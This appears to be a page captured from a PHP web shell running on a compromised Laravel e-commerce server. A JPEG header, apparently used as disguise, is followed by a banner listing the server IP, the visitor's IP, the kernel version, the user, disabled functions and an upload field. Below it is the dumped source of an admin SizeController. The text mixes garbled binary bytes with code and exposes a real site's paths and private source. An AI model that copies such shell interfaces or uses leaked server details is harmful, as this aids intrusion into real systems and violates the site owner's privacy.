ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/private_html/app/Http/Controllers/Admin/ |
Upload File : |
<?php
namespace App\Http\Controllers\Admin;
//use App\Http\Requests;
use App\Http\Requests\SizeRequest;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Sizes;
use App\Images;
use Input, File, DB;
use Validator;
use Auth;
class SizeController extends Controller
{
public function getList()
{
$data = DB::table("sizes")->select('name','stt','id')->orderBy('stt','asc')->get();
return view('admin.size.list', compact('data'));
}
public function getAdd()
{
$data = Sizes::all();
return view('admin.size.add', compact('data'));
}
public function postAdd(SizeRequest $request)
{
$nhan = new Sizes;
$nhan->name = $request->txtName;
if(!empty($_POST['pro_id'])){
$type=$_POST['pro_id'];
$nhan->pro_id = implode(',',$type);
}
if(!empty($_REQUEST['sale_id'])){
$nhan->sale_id = implode(",", $request->sale_id);
}
$nhan->save();
return redirect('admin/size')->with([
'toastr_lvl' => 'success',
'toastr_msg' => 'Thêm mới thà nh công !!'
]);
}
/**
* Show the form for editing the specified resource.
* @autho Nguyen Nhan
* @param int $id
* @return Response
*/
public function getEdit(Request $request)
{
$id= $request->get('id');
$data = Sizes::find($id);
$chatlieu=DB::table('materials')->select('id','name','name_eg')->orderBy('id','DESC')->get();
if(!empty($data)){
return view('admin.size.edit',compact('data','id','chatlieu'));
}else{
$data = Sizes::all();
return redirect()->route('admin.size.index')->with('status','Dữ liệu không có thực');
}
}
public function update(Request $request)
{
$id= $request->get('id');
if($id){
$nhan = Sizes::findOrFail($id);
$nhan->name = $request->txtName;
if(!empty($_POST['pro_id'])){
$type=$_POST['pro_id'];
$nhan->pro_id = implode(',',$type);
}
if(!empty($_REQUEST['sale_id'])){
$nhan->sale_id = implode(",", $request->sale_id);
}
$nhan->kichthuoc = $request->txtKichthuoc;
$nhan->save();
return redirect('admin/size/edit?id='.$id)->with([
'toastr_lvl' => 'success',
'toastr_msg' => 'Cáºp nháºt thà nh công !!'
]);
}else{
return redirect('admin/size/')->with('status','Dữ liệu không có thực');
}
}
/**
* Remove the specified resource from storage.
* @autho Nguyen Nhan
* @param int $id
* @return Response
*/
function changepos() {
$vitri = $_REQUEST['order'];
$ids = $_REQUEST['idsy'];
foreach ($vitri as $k=>$v) {
$size =Sizes::findOrFail($ids[$k])->update(['stt' => $v]);
}
return redirect('admin/size')->with([
'toastr_lvl' => 'success',
'toastr_msg' => 'Cáºp nháºt vị trà thà nh công !!'
]);
}
public function getDelete($id)
{
$nhan = Sizes::findOrFail($id);
$nhan->delete();
return redirect()->route('admin.size.index');
}
public function getDeleteList($id){
$listid = explode(",",$id);
foreach($listid as $listid_item){
$nhan = Sizes::findOrFail($listid_item);
$nhan->delete();
File::delete('upload/size/'.$nhan->photo);
}
return redirect()->route('admin.size.index');
}
}